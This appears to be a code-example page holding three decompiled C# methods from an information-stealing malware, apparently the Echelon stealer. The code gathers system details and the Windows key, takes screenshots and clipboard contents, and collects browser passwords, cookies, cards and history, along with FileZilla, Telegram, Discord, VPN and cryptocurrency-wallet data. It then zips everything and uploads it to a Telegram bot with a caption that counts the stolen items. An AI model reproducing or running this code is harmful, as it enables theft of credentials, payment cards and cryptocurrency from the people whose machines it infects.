예제 #1
0
        // Token: 0x06000242 RID: 578 RVA: 0x00010F34 File Offset: 0x0000F134
        public static void GetSystem(string Echelon_Dir)
        {
            ComputerInfo computerInfo = new ComputerInfo();
            Size         size         = Screen.PrimaryScreen.Bounds.Size;

            try
            {
                using (StreamWriter streamWriter = new StreamWriter(Systemsinfo.information, false, Encoding.Default))
                {
                    TextWriter textWriter = streamWriter;
                    string[]   array      = new string[28];
                    array[0] = "==================================================\n Operating system: ";
                    int             num       = 1;
                    OperatingSystem osversion = Environment.OSVersion;
                    array[num] = ((osversion != null) ? osversion.ToString() : null);
                    array[2]   = " | ";
                    array[3]   = computerInfo.OSFullName;
                    array[4]   = "\n PC user: "******"/";
                    array[7]   = Environment.UserName;
                    array[8]   = "\n WinKey: ";
                    array[9]   = WinKey.GetWindowsKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "DigitalProductId");
                    array[10]  = "\n==================================================\n Screen resolution: ";
                    int  num2  = 11;
                    Size size2 = size;
                    array[num2] = size2.ToString();
                    array[12]   = "\n Current time Utc: ";
                    array[13]   = DateTime.UtcNow.ToString();
                    array[14]   = "\n Current time: ";
                    array[15]   = DateTime.Now.ToString();
                    array[16]   = "\n==================================================\n CPU: ";
                    array[17]   = Systemsinfo.GetProcessorName();
                    array[18]   = "\n RAM: ";
                    array[19]   = Systemsinfo.GetPhysicalMemory();
                    array[20]   = "\n GPU: ";
                    array[21]   = Systemsinfo.GetGpuName();
                    array[22]   = "\n ==================================================\n IP Geolocation: ";
                    array[23]   = Help.IP;
                    array[24]   = " ";
                    array[25]   = Help.Country();
                    array[26]   = "\n Log Date: ";
                    array[27]   = Help.date;
                    textWriter.WriteLine(string.Concat(array));
                    streamWriter.Close();
                }
            }
            catch
            {
            }
        }
예제 #2
0
 public static void GetSystemsData(string collectionDir)
 {
     try
     {
         Task[] t01 = new Task[]
         {
             new Task(delegate()
             {
                 Systemsinfo.GetSystem(collectionDir);
             })
         };
         Task[] t02 = new Task[]
         {
             new Task(delegate()
             {
                 Systemsinfo.GetProg(collectionDir);
             })
         };
         Task[] t03 = new Task[]
         {
             new Task(delegate()
             {
                 Systemsinfo.GetProc(collectionDir);
             })
         };
         Task[] t04 = new Task[]
         {
             new Task(delegate()
             {
                 BuffBoard.GetClipboard(collectionDir);
             })
         };
         Task[] t05 = new Task[]
         {
             new Task(delegate()
             {
                 Screenshot.GetScreenShot(collectionDir);
             })
         };
         new Thread(delegate()
         {
             Task[] t = t01;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = t02;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = t03;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = t04;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = t05;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         Task.WaitAll(t01);
         Task.WaitAll(t02);
         Task.WaitAll(t03);
         Task.WaitAll(t04);
         Task.WaitAll(t05);
     }
     catch
     {
     }
 }
예제 #3
0
 // Token: 0x06000253 RID: 595 RVA: 0x0001126C File Offset: 0x0000F46C
 public static void GetCollection()
 {
     Collection.< > c__DisplayClass2_0 CS$ < > 8__locals1 = new Collection.< > c__DisplayClass2_0();
     try
     {
         Directory.CreateDirectory(Help.collectionDir);
         Directory.CreateDirectory(Help.Browsers);
         Directory.CreateDirectory(Help.Passwords);
         Directory.CreateDirectory(Help.Autofills);
         Directory.CreateDirectory(Help.Downloads);
         Directory.CreateDirectory(Help.Cookies);
         Directory.CreateDirectory(Help.History);
         Directory.CreateDirectory(Help.Cards);
     }
     catch
     {
     }
     Collection.< > c__DisplayClass2_0 CS$ < > 8__locals2 = CS$ < > 8__locals1;
     Task[] array = new Task[1];
     array[0] = new Task(delegate()
     {
         Files.GetFiles(Help.collectionDir);
     });
     CS$ < > 8__locals2.t0 = array;
     Collection.< > c__DisplayClass2_0 CS$ < > 8__locals3 = CS$ < > 8__locals1;
     Task[] array2 = new Task[1];
     array2[0] = new Task(delegate()
     {
         Collection.GetChromium();
     });
     CS$ < > 8__locals3.t1 = array2;
     Collection.< > c__DisplayClass2_0 CS$ < > 8__locals4 = CS$ < > 8__locals1;
     Task[] array3 = new Task[1];
     array3[0] = new Task(delegate()
     {
         Collection.GetGecko();
     });
     CS$ < > 8__locals4.t2 = array3;
     Collection.< > c__DisplayClass2_0 CS$ < > 8__locals5 = CS$ < > 8__locals1;
     Task[] array4 = new Task[1];
     array4[0] = new Task(delegate()
     {
         Edge.GetEdge(Help.Passwords);
     });
     CS$ < > 8__locals5.t3 = array4;
     Collection.< > c__DisplayClass2_0 CS$ < > 8__locals6 = CS$ < > 8__locals1;
     Task[] array5 = new Task[1];
     array5[0] = new Task(delegate()
     {
         FileZilla.GetFileZilla(Help.collectionDir);
     });
     CS$ < > 8__locals6.t5 = array5;
     Collection.< > c__DisplayClass2_0 CS$ < > 8__locals7 = CS$ < > 8__locals1;
     Task[] array6 = new Task[1];
     array6[0] = new Task(delegate()
     {
         TotalCommander.GetTotalCommander(Help.collectionDir);
     });
     CS$ < > 8__locals7.t6 = array6;
     Collection.< > c__DisplayClass2_0 CS$ < > 8__locals8 = CS$ < > 8__locals1;
     Task[] array7 = new Task[1];
     array7[0] = new Task(delegate()
     {
         NordVPN.GetNordVPN(Help.collectionDir);
     });
     CS$ < > 8__locals8.t9 = array7;
     Collection.< > c__DisplayClass2_0 CS$ < > 8__locals9 = CS$ < > 8__locals1;
     Task[] array8 = new Task[1];
     array8[0] = new Task(delegate()
     {
         Telegram.GetTelegram(Help.collectionDir);
     });
     CS$ < > 8__locals9.t10 = array8;
     Collection.< > c__DisplayClass2_0 CS$ < > 8__locals10 = CS$ < > 8__locals1;
     Task[] array9 = new Task[1];
     array9[0] = new Task(delegate()
     {
         Discord.GetDiscord(Help.collectionDir);
     });
     CS$ < > 8__locals10.t11 = array9;
     Collection.< > c__DisplayClass2_0 CS$ < > 8__locals11 = CS$ < > 8__locals1;
     Task[] array10 = new Task[1];
     array10[0] = new Task(delegate()
     {
         Wallets.GetWallets(Help.collectionDir);
     });
     CS$ < > 8__locals11.t12 = array10;
     Collection.< > c__DisplayClass2_0 CS$ < > 8__locals12 = CS$ < > 8__locals1;
     Task[] array11 = new Task[1];
     array11[0] = new Task(delegate()
     {
         Systemsinfo.GetSystemsData(Help.collectionDir);
     });
     CS$ < > 8__locals12.t13 = array11;
     Collection.< > c__DisplayClass2_0 CS$ < > 8__locals13 = CS$ < > 8__locals1;
     Task[] array12 = new Task[1];
     array12[0] = new Task(delegate()
     {
         DomainDetect.GetDomainDetect(Help.Browsers);
     });
     CS$ < > 8__locals13.t14 = array12;
     try
     {
         new Thread(delegate()
         {
             Task[] t = CS$ < > 8__locals1.t0;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = CS$ < > 8__locals1.t1;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = CS$ < > 8__locals1.t2;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = CS$ < > 8__locals1.t3;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = CS$ < > 8__locals1.t5;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = CS$ < > 8__locals1.t6;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = CS$ < > 8__locals1.t9;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = CS$ < > 8__locals1.t10;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = CS$ < > 8__locals1.t11;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = CS$ < > 8__locals1.t12;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = CS$ < > 8__locals1.t13;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         new Thread(delegate()
         {
             Task[] t = CS$ < > 8__locals1.t14;
             for (int i = 0; i < t.Length; i++)
             {
                 t[i].Start();
             }
         }).Start();
         Task.WaitAll(CS$ < > 8__locals1.t0);
         Task.WaitAll(CS$ < > 8__locals1.t1);
         Task.WaitAll(CS$ < > 8__locals1.t2);
         Task.WaitAll(CS$ < > 8__locals1.t3);
         Task.WaitAll(CS$ < > 8__locals1.t5);
         Task.WaitAll(CS$ < > 8__locals1.t6);
         Task.WaitAll(CS$ < > 8__locals1.t9);
         Task.WaitAll(CS$ < > 8__locals1.t10);
         Task.WaitAll(CS$ < > 8__locals1.t11);
         Task.WaitAll(CS$ < > 8__locals1.t12);
         Task.WaitAll(CS$ < > 8__locals1.t13);
         Task.WaitAll(CS$ < > 8__locals1.t14);
     }
     catch
     {
     }
     try
     {
         string text = string.Concat(new string[]
         {
             Help.dir,
             "\\",
             Help.dateLog,
             "_",
             Help.HWID,
             Help.CountryCOde(),
             ".zip"
         });
         using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866")))
         {
             zipFile.ParallelDeflateThreshold = -1L;
             zipFile.UseZip64WhenSaving       = 2;
             zipFile.CompressionLevel         = 6;
             zipFile.AddDirectory(Help.collectionDir);
             zipFile.Comment = "123 test";
             zipFile.Save(text);
         }
         string text2 = text;
         byte[] file  = File.ReadAllBytes(text2);
         string url   = string.Concat(new string[]
         {
             Help.ApiUrl,
             Program.Token,
             "/sendDocument?chat_id=",
             Program.ID,
             string.Concat(new string[]
             {
                 "&caption=\n \ud83c\udf3a new log \ud83c\udf38  \n============================\n\ud83c\udf06IP - ",
                 Help.IP,
                 "\n\ud83c\udfd9country - ",
                 Help.Country(),
                 "\n============================\n✨browser:\n∟\ud83c\udf6acookies - ",
                 (Chromium.Cookies + Steal.count_cookies).ToString(),
                 "\n ∟\ud83d\udd11password - ",
                 (Chromium.Passwords + Edge.count + Steal.count).ToString(),
                 "\n  ∟\ud83d\udd51History - ",
                 Chromium.History.ToString(),
                 "\n   ∟\ud83d\udcddAutofills - ",
                 Chromium.Autofills.ToString(),
                 "\n    ∟\ud83d\udcb3Cards - ",
                 Chromium.CC.ToString(),
                 "\n============================",
                 (Wallets.count > 0) ? "\n\ud83d\udc8e crypto" : "",
                 (Electrum.count > 0) ? "\n∟Electrum" : "",
                 (Armory.count > 0) ? "\n∟Armory" : "",
                 (AtomicWallet.count > 0) ? "\n∟Atomic" : "",
                 (BitcoinCore.count > 0) ? "\n∟BitcoinCore" : "",
                 (Bytecoin.count > 0) ? "\n∟Bytecoin" : "",
                 (DashCore.count > 0) ? "\n∟DashCore" : "",
                 (Ethereum.count > 0) ? "\n∟Ethereum" : "",
                 (Exodus.count > 0) ? "\n∟Exodus" : "",
                 (LitecoinCore.count > 0) ? "\n∟LitecoinCore" : "",
                 (Monero.count > 0) ? "\n∟Monero" : "",
                 (Zcash.count > 0) ? "\n∟Zcash" : "",
                 (Jaxx.count > 0) ? "\n∟Jaxx" : "",
                 (Wallets.count > 0) ? "\n============================" : "",
                 (FileZilla.count > 0) ? ("\n\ud83d\udcc2FileZilla - " + FileZilla.count.ToString()) : "",
                 (FileZilla.count > 0) ? "\n============================ " : "",
                 "\n\ud83d\udcbefree buld\n\ud83d\udcc0by full - @Mist_Seller\n============================\n",
                 File.ReadAllText(Help.Browsers + "\\DomainDetect.txt")
             })
         });
         SenderAPI.POST(file, text2, "application/x-ms-dos-executable", url);
     }
     catch
     {
     }
 }